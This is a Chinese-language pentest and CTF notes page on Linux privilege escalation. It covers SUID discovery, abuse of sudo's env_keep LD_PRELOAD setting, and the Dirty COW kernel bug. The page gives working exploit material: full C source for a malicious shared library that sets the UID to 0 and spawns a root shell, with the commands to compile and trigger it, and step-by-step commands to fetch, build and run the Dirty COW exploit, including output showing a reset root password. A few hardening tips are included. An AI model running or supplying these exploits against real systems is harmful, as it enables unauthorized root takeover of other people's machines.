Skip to content

SRC Privilege Escalation

🐧 Linux Privilege Escalation

🪟 Windows Privilege Escalation


SUID

intro

SUID intro

SUID(Set-user Identification)是Linux系统中的一种特殊权限。

  • SUID权限专门针对所有者设置,权限字符为“s”。
  • 被设置了SUID权限的文件,所有者对应权限位置的“x”将变为“s”。
  • SUID通常针对可执行程序文件设置,除了系统默认设置之外,一般不建议自己去设置SUID。
  • 当用户执行passwd命令时,会自动以文件所有者 即 root 的身份去执行。
bash
[root@host ~]# ll /usr/bin/passwd
-rwsr-xr-x. 1 root root 27832 Jun 10  2014 /usr/bin/passwd

SUID提权的前提条件

  • 系统中必须有除了默认设置之外的,其它被设置了SUID的程序。
  • 这些程序还要具备运行其它程序的功能(主要是为了运行Shell)

可以被用来进行SUID提权的程序主要有

  • nmap、vim、find、bash、more、less、nano、cp

find

如何查找被设置了SUID权限的文件

  • SUID对应的权限数字是4,再加上正常的rwx权限,所组成的权限数字一共是4位数
  • 4000中的数字0表示忽略相应位置的权限,也就是说不考虑rwx权限。
  • 4000不加“-”则表示精确匹配,加上“-”或“/”表示模糊匹配。

find命令用法

SUID find command

  • find / -perm -4000 2> /dev/null
  • find / -perm –u=s 2> /dev/null
  • 2> /dev/null表示屏蔽错误信息

set

SUID设置方法:

字母设置方式:chmod u+s file

取消SUID:chmod u-s file

数字设置方式:chmod 4755 在普通三位数字权限位之前,用4代表添加的SUID位

取消SUID:chmod 0755


LD_PRELOAD

这是一个非常经典且高效的 Linux 提权手段!在渗透测试或 CTF 比赛中,如果你发现 sudo -l 的输出中包含 env_keep += LD_PRELOAD,那么恭喜你,这基本上等同于拿到了 root 权限。

下面我为你详细拆解这个漏洞的原理、利用步骤以及加固方案。

🛡️ 原理剖析

1. 什么是 LD_PRELOAD?LD_PRELOAD 是 Linux 环境变量,它允许你定义在程序执行时优先加载的动态链接库(.so 文件)。这通常用于调试或覆盖标准库函数。

2. 为什么会有提权风险? 在默认情况下,出于安全考虑,sudo 在执行命令时会重置环境变量。但如果 /etc/sudoers 配置文件中设置了 Defaults env_keep += "LD_PRELOAD",这就意味着 sudo 会保留这个环境变量,并将它传递给以 root 权限运行的进程。

🚀 提权实战步骤

只要你拥有某个命令的 sudo 执行权限(即使是一个无关紧要的命令,比如 findls),就可以按照以下步骤操作:

第一步:编写恶意 C 源码

我们需要编写一个简单的动态库 exploit.c,利用 _init 函数。这个函数会在库被加载时立即执行。

c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    // 关键:重置 UID/GID 为 0 (root)
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    // 弹出 shell
    system("/bin/bash");
}

第二步:编译为共享库 (.so)

使用 gcc 将源码编译成动态链接库:

bash
gcc -fPIC -shared -o /tmp/pe.so exploit.c -nostartfiles
  • -fPIC: 生成位置无关代码。
  • -shared: 生成共享库。
  • -nostartfiles: 不包含标准启动文件(防止重复定义)。

第三步:触发提权

运行任何你可以使用 sudo 执行的命令,并带上 LD_PRELOAD 指向你的恶意库:

bash
sudo LD_PRELOAD=/tmp/pe.so <你拥有权限的命>
# 例如:sudo LD_PRELOAD=/tmp/pe.so ls

执行后,你将直接获得一个 root shell

🛑 如何防御?

在生产环境中,这种配置是非常危险的。加固建议如下:

  1. 移除 env_keep: 检查 /etc/sudoers,确保没有 env_keep += "LD_PRELOAD"
  2. 强制安全路径: 启用 Defaults secure_path,这会限制 sudo 运行时的环境变量路径。
  3. 最小权限原则: 仅给用户必要的 sudo 权限,并尽量避免保留用户自定义的环境变量。

Dirty COW

脏牛漏洞(Dirty COW)

  • 脏牛漏洞是在Linux内核中存在的一个漏洞,具体原理是 get_user_page 内核函数在处理 Copy-on-Write (以下使用COW表示)的过程中,可能产生竞态条件造成COW过程被破坏。
  • 2007年发布的Linux内核版本中就已经存在此漏洞,一直到2016年10月18日Linux kernel团 队才对这个漏洞进行了修复。
  • 脏牛漏洞的exploit已经集成在Kali中,可利用searchsploit搜索。

查询linux内核发行时间

bash
uname -v

查询下载C源码

bash
searchsploit dirty cow

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40847.cpp
bash
searchsploit -m 40847.cpp

转移到靶机

bash
scp attacker@host:/path/40847.cpp ./

编译成可执行程序

bash
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
bash
g++ -Wall -pedantic -O2 -std=c++0x -pthread -o dcow 40847.cpp -lutil

执行

bash
./dcow

Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

Last updated:

Released under the MIT License.